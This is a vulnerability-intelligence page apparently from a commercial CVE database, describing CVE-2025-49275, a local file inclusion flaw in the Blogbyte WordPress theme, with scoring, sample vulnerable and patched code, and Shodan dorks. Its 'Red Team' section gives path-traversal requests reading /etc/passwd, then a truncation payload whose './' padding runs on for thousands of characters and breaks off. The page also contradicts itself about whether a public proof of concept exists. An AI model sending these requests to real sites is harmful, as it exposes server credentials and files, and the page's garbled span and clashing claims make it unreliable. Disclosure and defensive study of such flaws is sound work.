CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-98

👁️

CVE-2025-49275

CVE-2025-49275 Local File Inclusion in Unfoldwp

 📅 PUBLISHED: 2025-06-09 16:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC 

[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix

[ DEFENSE PATCH ↓ ]

💣 PoC: Public

👁️

🎯 EPSS: 0.55%

👁️

🥷 MITRE: T1190

👁️

Country: Estonia License: Freemium

VULNERABLE: version not auto-detected — verify your deployed version locally

CVSS VECTOR BREAKDOWN 8.1

AV: N Attack Vector Network

AC: L Attack Complexity Low

PR: N Privileges Required None

UI: N User Interaction None

S: U Scope Unchanged

C: H Confidentiality High

I: N Integrity None

A: N Availability None

↗ Verify on NVD CVSS:3.1

8.1

THREAT LEVEL

INTEL SOURCES NVD CVEProject EPSS HOW WE SCORE →

■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-49275 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Blogbyte WordPress theme developed by Unfoldwp. The flaw resides in improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to read arbitrary files from the server's filesystem. With a CVSS score of 8.1, this vulnerability poses a high confidentiality risk, potentially exposing sensitive configuration files, database credentials, and source code. No public proof-of-concept (PoC) or patch is currently available, making immediate mitigation essential for all sites running Blogbyte version 1.1.1 or earlier.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian

›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.

›Shodan dorks — ready-made queries to find exposed vulnerable systems

›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)

›pending_fields — know exactly which of 7 fields NVD hasn't processed yet

›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits

PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026

[ FROM €19/MO ]

Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Since WordPress themes are part of the site's supply chain, any site using Blogbyte is at risk. The lack of a patch from the vendor means site administrators must either manually apply a workaround or remove the theme entirely.

CVSS Breakdown & Threat Level

Attack Vector (AV): Network (N) – Exploitable remotely.
Attack Complexity (AC): Low (L) – No special conditions required.
Privileges Required (PR): None (N) – No authentication needed.
User Interaction (UI): None (N) – No user action required.
Scope (S): Unchanged (U) – Exploit does not affect other components.
Confidentiality (C): High (H) – Full file read capability.
Integrity (I): None (N) – No file modification.
Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to full disclosure of sensitive server files.

Deep Dive & Mechanics

The vulnerability exists in the Blogbyte theme's PHP code, where user-supplied input is used to construct a file path for an include or require statement without proper sanitization. An attacker can manipulate parameters such as page, template, or file to traverse directories and include arbitrary files.

Example vulnerable code pattern:

$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );

By supplying a path like ../../../../etc/passwd%00, the attacker can null-terminate the string and include /etc/passwd. The null byte injection works in older PHP versions (<5.3.4) but modern servers may require alternative techniques like path truncation or using php://filter wrappers.

Attack flow:

Attacker identifies a parameter that controls file inclusion.
Attacker crafts a request with a path traversal payload.
The server includes the specified file, outputting its contents in the response.
Attacker reads sensitive files (e.g., wp-config.php, .htaccess, /etc/passwd).

Vulnerable vs. Patched Code

Vulnerable code (Blogbyte <= 1.1.1):

// No sanitization of user input
$file = $_GET['file'];
include( $file . '.php' );

Patched code (hypothetical fix):

// Whitelist allowed files
$allowed_files = array('home', 'about', 'contact');
$file = $_GET['file'];
if ( in_array( $file, $allowed_files ) ) {
    include( $file . '.php' );
} else {
    // Handle error
    wp_die( 'Invalid file.' );
}

The patched version uses a whitelist approach to restrict inclusion to predefined files, preventing arbitrary file reads.

Exploitation & Lab Setup

Red Team

Lab Setup:

Install WordPress with Blogbyte theme version 1.1.1.
Ensure PHP version is 5.3.4 or older for null byte injection, or use path truncation for newer versions.

Exploitation Steps:

Identify the vulnerable parameter (e.g., ?file=).

Send a crafted request:

GET /wp-content/themes/blogbyte/template.php?file=../../../../etc/passwd%00 HTTP/1.1
Host: target.com

If null byte fails, try path truncation:

GET /wp-content/themes/blogbyte/template.php?file=../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Blogbyte"

http.html:"wp-content/themes/blogbyte"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →